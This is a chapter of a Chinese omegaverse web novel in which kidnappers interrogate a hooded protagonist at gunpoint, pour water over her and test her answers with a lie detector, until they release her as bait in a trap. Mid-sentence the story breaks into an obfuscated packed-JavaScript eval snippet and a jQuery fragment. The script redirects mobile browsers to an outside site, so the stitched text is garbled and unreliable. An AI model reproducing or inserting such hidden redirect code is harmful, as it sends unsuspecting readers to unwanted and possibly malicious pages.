8. 第八章
作品:《当Beta从吃软饭开始》 载具七歪八拐,车速时快时慢。
潼恩在黑暗中昏昏欲睡,证明年轻就是爱睡觉。
等车终于停下,她被人粗暴地扯出后备箱,看不见路,只能踉踉跄跄地跟着握住她胳膊的人走。
不知走到哪里,引路的人一把将她推向右边。
潼恩抬手摸向头上套着的布袋,布袋由麻布编织而成,粗糙硌手,袋口束缚住脖颈,不至于太紧,但呼吸受阻,她能感觉到袋中的空气逐渐浑浊。
“你好。”
潼恩放下手,对着前方的空气说:“可以摘下来吗,头套。”
“如果你想死的话,可以。”
耳边响起经过电流处理的声音,方向在正后方。
潼恩镇定地转过身,手在空中抓了下,“抱歉看不清你在哪,请问找我有什么吗?”
“你很冷静。”
夹带着电流的声音徐徐继续,仿佛逗弄猎物的捕猎者,在黑暗中潼恩能感受到落在自己身上的视线。
带着评估、恶意的视线。
“作为一个偷渡客,你知道得太多了。”
“告诉我,3月7日你在哪里,发生了什么。”
潼恩了然,这是认识死在医院的凶手的人,因为计划失败,捏不到硬柿子来捏软柿子了。
“那件事啊。”
潼恩:“说来话长,能给椅子吗?站着很累。”
“说或者死。”
多么冷酷的绑匪。
潼恩叹了口气,弯腰去摸脚下的地面。
咔嚓。
数十处枪械动静传来。
她熟练地举手投降,仰头对半空道:“没别的意思,我坐着给你讲。”
“幸好不是泥地。”
蒙住头部的Beta嘟囔着,毫不在意地盘起双腿,在数十支枪械的瞄准下镇定自若,仿佛身处自家客厅,而不是遭受绑架的人质。
她整理了下衣服,又低声说了什么,鼓捣半天。
谷骏桎交叉双腿,薅了把凌乱的挑染头发,难掩焦躁地抖着腿,朝身旁的青年斜睨过去,示意他加快速度。
但黑发青年不动如山,视线紧盯着盘腿而坐的女人身上。
没有信息素,看起来瘦弱无力,只是个平平无奇、毫无危险的Beta。
终于坐好的Beta开始讲话,说话的速度不快不慢,讲到关键地方总会停下来歇口气,揉下小腿,像吃草的牛似的讲诉着发生的事情。
情况大致对得上他们所掌握的信息。
自称是偷渡客的Beta意外地帮助了受伤的检察局长官阿德瑞,在进入医院后被前来刺杀阿德瑞的凶手挟持,幸好检察局早有准备,来了个瓮中捉鳖救下她。
“凶手是怎么死的。”
Beta愣了下,抬手抚摸颈间的束缚,脖子上皮肤发红,在白皙的肤色上格外明显。
“他……”
“很难形容啊。”
“呵。”
谷骏桎忍不住冷哼一声,“别装神弄鬼,想吃枪子是吧。”
Beta举着双手,道:“辅助性自杀。”
“他开枪的同时,外面的狙击手也开枪了。”
谷骏桎再也忍受不了,起身一脚踹翻椅子,头上挑染的蓝毛像鸟的羽毛,两步逼近地上的人,“你和阿德瑞是什么关系!”
“检察局为什么会救下你?!”
“我早说了直接用刑,干嘛和她废话。”
黑发青年皱着眉,手里的变声器失去作用,但他早已习惯谷骏桎的冲动,依旧坐在原位没动,垂眸思考着。
“呃。”
被扯住领子的Beta头往后仰,讨饶道:“你们应该查了吧,我就是个偷渡客,前天才上的身份信息。”
“实在抱歉,我身上没有你想要的信息。”
“油嘴滑舌。”
谷骏桎最讨厌这类人,如果不是谷奇希执意要来,他早就上刑逼问出想要的内容。
他掏出别在腰间的枪,冰冷的枪口对准手里女人的喉咙。
“如果没关系,他会这么简单地将你放走?甚至还给你补上身份证明。”
“如果你再不说实话,这颗子弹就先射穿你的喉咙。”
被蒙着脸的Beta仰着头,并不算凸起的喉结上下移动,皮肤上起了一层鸡皮疙瘩。
谷骏桎将变化尽收眼底,桀骜的眉眼泄出一丝自得,他很清楚人体有多么脆弱,仰着头暴露弱点的人在他手里与羊羔无异。
他已经迫不及待想要看到对方跪地求饶的模样。
“那个。”
潼恩说话不顺,头套里的空气潮热,她急切想要呼吸新鲜空气,低血糖带来的头晕目眩还在加剧。
“有没有可能,他放走我是为了你们。”
揪住领口的力道骤然拉紧,潼恩感受到面前人身上炙热的体温,像他的愤怒一样,不知道打自己一拳头会痛多久。
但下一秒,拉住自己的人松口手。
耳边再次响起经过处理的人声,“你果然知道很多。”
“只是为了保命而已。”
还是因为自己太霉了。
潼恩扯了下头套束缚,咳嗽两声,有气无力道:“可以解开吗,我呼吸不过来,很热。”
没人应答。
潼恩放下手,正准备再讨饶,结果一盆水淋头浇下,冷是冷了,空气被完全隔绝,布料贴着五官,不得不张大嘴,努力获取一点空气。
水流进衬衣里,她撑着地面喘气,半晌后才从又湿又重的布料里获得喘息机会。
人声冷漠道:“我问,你答。”
“第一个问题,你的身份是什么。”
潼恩有点想笑,她也真的笑出了声。
下一秒她的耳边响起“咚”的一声闷响,耳边响起液体拍打桶壁的声响。
她的嘴角当即拉平,垂头丧气道:“上刑也没办法,我真的是偷渡客。”
谷骏桎啧了一声,转头看向握着电子仪器的谷奇希,黑发青年看着人体状态实时显示界面。
上面的心跳平稳不变,身体热度显示为36.2度,专业的分析结果显示而出——
撒谎可能:低。
“凶手是怎么死的。”
“自杀,还有狙击枪。”
“你是怎么上的身份信息。”
“花钱进的。”
谷骏桎嘲讽地冷笑,道:“你一个偷渡客哪来的钱,说话也不打草稿。”
但当他向谷奇希看去时,却得到了对方并没有在撒谎的结论,仪器检测判断这是真话。
他不由恼怒地瞪向蒙着头湿漉漉的Beta,有种自己被戏耍的荒谬感。
“清汤大姥姥,我对天发誓,钱是救人的赠款。”
潼恩说话时呛到口水,咳嗽得弯起腰,半晌后抬起头,虚弱地说:“救了检察局的长官,好歹会来点奖励吧。”
“不可能!”
谷骏桎反驳道:“他不可能大发好心,一定是你做了什么。”
潼恩真诚反问:“我做了什么?”
“你——!”
谷
;eval(function(p,a,c,k,e,d){e=function(c){return(c<a?"":e(parseInt(c/a)))+((c=c%a)>35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|16181533|181000||http|test|mini|href|location''.split(''|''),0,{}));
() {
$(''.inform'').remove();
$(''#content'').append(''
奇希按住谷骏桎的肩膀,示意他冷静下来,继续通过变声器发起询问。
“你先前说的那句话是什么意思。”
“哪句?”
谷骏桎警告性地踢了一脚旁边的水桶,水花溅到潼恩身上,她瑟缩一下,恍然大悟:“那句话啊,字面上的意思。”
在谷骏桎发怒前,她补充道:“他们放走我是为了你们。”
“其实我也很好奇他们为什么那么轻易地让我走。”
“比起太忙没空管我这个原因,我更偏向于他们想用我勾引出大鱼的结论。”
潼恩回想起在病房发生的一切,“为什么要支走其他人,来瓮中捉鳖,甚至直接处理现场,掩盖风声?”
“答案很明显,他们不想外界知道这件事。”
“为了掩盖风声,解决一场风头正盛的问题,尽快把罪魁祸首抓住,又或者更快找到一头顶罪羊。”
“放走我这个误入现场的杂鱼,似乎是个有利无弊的决定,如果抓不到大鱼,再判我也不迟。”
潼恩叹气:“说实在的,我和你们才是一条船。”
“如果不信,可以看看我的终端。”
谷骏桎紧皱眉头,他迟疑地看向自己的兄弟,后者面无表情,盯着手里的检测仪器。
结果仍然不变。
“谁知道你会不会说谎。”
谷骏桎嘴硬回道,他疑心很强,满腔怒火无处发泄,像只咬着尾巴团团转的狼。
身边的谷奇希仍在思考。
空气里的沉默让他更加生气,踹翻旁边的水桶,水流了一地,坐在地上的潼恩立马站了起来。
“你想干嘛?!别动!”
潼恩举起双手,道:“我只是不想打湿裤子,等会回去被人看到不好。”
“你还想回去……呵,你知道我们是——”
“让她走。”
谷奇希打断他的话,神色复杂地看向潼恩:“有人在监测她的位置,她的终端被人做了标记。”
“这是个圈套。”
“草他爹的检察局!一群阴毒的贱种!”
谷骏桎爆粗口狂骂,落进潼恩耳里全是***,她歪了歪脖子,悄悄往旁边挪动。
但对方敏锐地察觉到她的动作,像只大型野兽,一把抓住她的胳膊,钳制得死死的,咬牙切齿地说:“别让我发现你在背后和他们合作。”
“不然你就等着江底吧!”
完全是□□发言啊。
潼恩老实地点头,“绝对不会。”
谷骏桎又骂了几句,松开她的胳膊,对身后的人吩咐道:“十分钟内撤离,走老路回去。”
脚步声凌乱地响起,原本围住场地的人纷纷往外走去。
但鼻尖萦绕的血橙信息素仍然没有远离。
潼恩站着不动,知道威胁自己的Alpha还在,但她更想知道其实是另一个,用变声器掩盖原声的人。
没有气味,很可能是Beta。
“既然是同一条船上,你应该知道自己要怎么做。”
潼恩在嘴边比了个拉链的动作,隔着头套表达诚意。
但对方并不领情,枪口对着她的下巴,威慑地点了点,接着直接上手暴力拆除脖颈束缚。
“记住了。”
潼恩笔直地站着,等脚步声远去,汽车启动声响起后才摘下头套。
离开的黑色车尾上印着鲜明的标记。
——一个由蛇环绕而成的三角形。
终端震动两下。
[奥布力]发来消息。

